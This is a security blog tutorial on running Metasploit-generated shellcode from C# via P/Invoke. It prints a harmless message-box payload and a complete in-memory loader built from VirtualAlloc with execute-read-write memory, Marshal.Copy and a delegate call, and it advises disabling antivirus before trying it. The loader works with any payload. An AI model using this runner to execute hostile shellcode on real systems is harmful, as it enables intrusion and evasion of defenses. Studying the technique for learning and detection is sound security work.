Execute Unmanaged Code via C# PInvoke

SEP 21, 2021 • 5 MIN READ • CSHARP, INFOSEC, SHELLCODE

There is no doubt C# is a high-level language and it generates a bytecode on the compilation. Additionally, it also provides features to run unsafe code like pointers but that too is on a high level if you would compile the code with C# Compiler (`csc.exe`). Such type of code in windows is called managed code, where all the memory management is handled by the Common Language Runtime.

Also, there is no doubt that C# is a very flexible language and it allows you to call the function defined in the DLLs of the source code which is not written in C#. Such type of code is known as unmanaged code. Unlike managed code, the developer is responsible for cleaning the resources.

This is post is dedicated to running a shellcode crafted from Metasploit directly into the C# code. Since it will be marked malicious by windows defender, it is advised to disable the AVs before proceeding further.

The source code of this post can be found here – https://github.com/tbhaxor/csharp-and-infosec/tree/main/PInvoke%20MSF%20Payload

Creating Shellcode

There are two ways to create shellcode with the Metasploit framework – MSFVenom and Metasploit CLI. I will be using Metasploit CLI in this case as I feel it is more efficient than the other due to autocompletion and one-time loading. The former one takes the same time when you regenerate the payload with it.

For demonstration, I will use message box payload and show **`Hello T3r@byt3`** text with the title set to **`Hacked!`**. This payload can be found in **`payload/windows/x64/messagebox`** x64 architecture and **`payload/windows/messagebox`**. We are using the C# programming language, so you need to set the format to csharp using the `-f csharp` flag.

Now create the payload as shown below

Creating x64 message box payload from msfconsole

Copy the payload from the above Metasploit output and paste it in the C# project under Program class. You need to make it `static` to use the `buf` array in the Main method. This is method is called by the CLR and is considered as the entry point of every C# program

```
/*
 * windows/x64/messagebox - 290 bytes
 * https://metasploit.com/
 * VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
 * TITLE=Hacked!, TEXT=Hello T3r@byt3, ICON=NO
 */
static byte[] buf = new byte[290] {
    0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
    0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
    0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
    0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
    0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
    0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
    0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
    0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
    0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
    0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
    0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
    0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
    0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
    0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
    0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
    0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
    0x85,0x0d,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
    0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
    0x6c,0x6f,0x20,0x54,0x33,0x72,0x40,0x62,0x79,0x74,0x33,0x00,0x48,0x61,0x63,
    0x6b,0x65,0x64,0x21,0x00 };
```

Messagebox shellcode in C# format

Declaring the Unmanaged Function

To run the unmanaged code, you need to first copy the shellcode in the memory and then get the pointer to function so that you can execute it like a function. For this, you need to first allocate the memory in the current process's address space and copy the content from the buffer into that memory location.

Memory allocation can be done by calling the **VirtualAlloc** function from `kernel32.dll`. You can get this signature from PInvoke.com – https://www.pinvoke.net/default.aspx/kernel32.VirtualAlloc#. The **`DllImport`** attribute lets CLR call the function defined in the DLL specified in the first argument. The function should be marked `extern` this tells C# that the function is defined in external assembly and DllImport tells CLR where to find that assembly. The name of the symbol should be the same as defined in the DLL otherwise lookup will fail

```
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr address, uint dwSize, uint allocType, uint mode);
```

```
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate void WindowRun();
```

Pinvoke configuration

To get the function pointer, you need to first have a delegate with an `UnmanagedFunctionPointer` attribute which will tell the CLR that this delegate is special and will be used to get the function pointer of unmanaged code instead. We will be requiring it during Marshaling. Marshalling is required to convert the memory representation of the shellcode into a format suitable for transmitting data.

Copying Shellcode in Memory

Now it's time to call the VirtualAlloc function and store the address in another IntPtr. Let's count on the system to allocate the memory for us. To do this, pass the `IntPtr.Zero` value in the first argument. How many sizes you want to allocate, pass it in the second argument, here it is `buf.Length`. Since we need to allocate the memory, the allocation type for such action is `0x1000` which is enumerated as `MEM_COMMIT`. As a security feature, you need to provide the mode of the allocated page. The shellcode means to be "executed" + "read/write", you need to set it to `PAGE_EXECUTE_READWRITE` whose hex value is `0x40`

```
IntPtr ptr = VirtualAlloc(IntPtr.Zero, Convert.ToUInt32(buf.Length), 0x1000, 0x40);
```

Allocate memory for shellcode

Once you have allocated the space, this will provide you with a starting address to that chunk. Let's call it to handle for now. So now you need to copy shellcode bytes from managed memory to this handle in an unmanaged location. It's one of the simplest things you will see in this post. Call the `Marshal.Copy` method

```
Marshal.Copy(buf, 0x0, ptr, buf.Length);
```

Copy the shellcode to allocated memory location

Executing the Shellcode From Memory

Once you have copied the shellcode, you need to get the function pointer to execute the code. For C/C++ or C# language, when you add `()` after any address, it means to "execute it".

To get a function pointer, you need to call `Mashal.GetDelegateForFunctionPointer` the method which will give you the function pointer from unmanaged code to the managed code as a delegate. A delegate is the same as a function pointer but in managed code. All you need to do to execute your shellcode is to call the delegate function as you would call a normal function

```
WindowRun r = Marshal.GetDelegateForFunctionPointer<WindowRun>(ptr);
r();
```

Get function pointer and execute the system

Gurkirat Singh

Hey there everyone, I am Gurkirat Singh (aka tbhaxor). I do full-stack development to fund my own learning and experiments. I am a cybersecurity enthusiast and like sharing my knowledge.

INDIA

← Previous Post   Next Post →

YOU MIGHT ALSO LIKE...

Writing Connect Back TCP Shell in C#

SEP 18, 2021